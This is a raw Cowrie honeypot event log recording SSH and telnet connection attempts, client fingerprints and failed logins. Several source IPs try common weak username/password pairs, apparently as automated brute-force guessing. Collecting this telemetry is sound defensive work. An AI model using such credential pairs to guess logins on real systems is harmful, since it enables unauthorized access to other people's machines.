{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:40.073875Z","src_ip":"103.27.238.116","session":"e30ec5b9e025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:40.090504Z","src_ip":"91.92.42.227","session":"ee0b9fae0e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:40.352773Z","src_ip":"103.27.238.116","session":"e30ec5b9e025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha777","message":"login attempt [root/pasha777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:41.187391Z","src_ip":"103.27.238.116","session":"e30ec5b9e025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:42.468683Z","src_ip":"103.27.238.116","session":"e30ec5b9e025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53456,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb00ea276216","protocol":"ssh","message":"New connection: 91.92.42.227:53456 (10.17.0.5:22) [session: eb00ea276216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:42.545669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:44.229103Z","src_ip":"91.92.42.227","session":"eb00ea276216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:44.232706Z","src_ip":"91.92.42.227","session":"eb00ea276216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:45.065481Z","src_ip":"91.92.42.227","session":"41d227126a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40296,"dst_ip":"159.203.135.109","dst_port":22,"session":"8365b38cd538","protocol":"ssh","message":"New connection: 168.167.228.74:40296 (159.203.135.109:22) [session: 8365b38cd538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:48.870374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:48.873776Z","src_ip":"168.167.228.74","session":"8365b38cd538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:49.076730Z","src_ip":"91.92.42.227","session":"41d227126a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:49.131604Z","src_ip":"168.167.228.74","session":"8365b38cd538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.87655687332153,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:49.974706Z","src_ip":"172.81.62.90","session":"1d40d1d8671a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"11235813","message":"login attempt [ubuntu/11235813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:50.178204Z","src_ip":"168.167.228.74","session":"8365b38cd538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:51.432987Z","src_ip":"168.167.228.74","session":"8365b38cd538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58688,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2fa3737b179","protocol":"ssh","message":"New connection: 91.92.42.227:58688 (10.17.0.5:22) [session: d2fa3737b179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:52.115990Z"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456789","message":"login attempt [fastuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:52.742825Z","src_ip":"91.92.42.227","session":"eb00ea276216","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:53.378643Z","src_ip":"91.92.42.227","session":"d2fa3737b179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:53.381629Z","src_ip":"91.92.42.227","session":"d2fa3737b179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:54.796567Z","src_ip":"91.92.42.227","session":"eb00ea276216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.60898232460022,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:57.301173Z","src_ip":"128.199.8.54","session":"7f39e47ef43f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52242,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0250b50b4e","protocol":"ssh","message":"New connection: 91.92.42.227:52242 (10.17.0.5:22) [session: 4e0250b50b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:58.323658Z"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"1234","message":"login attempt [nobody/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:41:59.295135Z","src_ip":"91.92.42.227","session":"d2fa3737b179","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:00.504047Z","src_ip":"91.92.42.227","session":"4e0250b50b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:00.508430Z","src_ip":"91.92.42.227","session":"4e0250b50b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:01.867400Z","src_ip":"91.92.42.227","session":"d2fa3737b179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47300,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9d784e0d954","protocol":"ssh","message":"New connection: 91.92.42.227:47300 (10.17.0.5:22) [session: a9d784e0d954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:05.487671Z"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:06.773210Z","src_ip":"91.92.42.227","session":"4e0250b50b4e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:07.001774Z","src_ip":"91.92.42.227","session":"a9d784e0d954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:07.052188Z","src_ip":"91.92.42.227","session":"a9d784e0d954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:09.820060Z","src_ip":"91.92.42.227","session":"4e0250b50b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47358,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7ebb1b18112","protocol":"ssh","message":"New connection: 91.92.42.227:47358 (10.17.0.5:22) [session: f7ebb1b18112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:12.479812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:14.162122Z","src_ip":"91.92.42.227","session":"f7ebb1b18112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:14.165196Z","src_ip":"91.92.42.227","session":"f7ebb1b18112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:14.785746Z","src_ip":"91.92.42.227","session":"a9d784e0d954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54924,"dst_ip":"159.203.135.109","dst_port":23,"session":"84051c2dba8b","protocol":"telnet","message":"New connection: 128.199.8.54:54924 (159.203.135.109:23) [session: 84051c2dba8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:16.653462Z"}
{"eventid":"cowrie.session.closed","duration":0.004297494888305664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:16.657634Z","src_ip":"128.199.8.54","session":"84051c2dba8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e7fdd3785c","protocol":"telnet","message":"New connection: 172.81.62.90:36866 (159.203.135.109:23) [session: a0e7fdd3785c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:16.732636Z"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:18.568866Z","src_ip":"91.92.42.227","session":"a9d784e0d954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50976,"dst_ip":"10.17.0.5","dst_port":22,"session":"df3398867c4f","protocol":"ssh","message":"New connection: 91.92.42.227:50976 (10.17.0.5:22) [session: df3398867c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:19.206818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:21.255355Z","src_ip":"91.92.42.227","session":"df3398867c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:21.258126Z","src_ip":"91.92.42.227","session":"df3398867c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:22.709143Z","src_ip":"91.92.42.227","session":"f7ebb1b18112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:42:25.733390Z","src_ip":"91.92.42.227","session":"f7ebb1b18112","protocol":"ssh"}
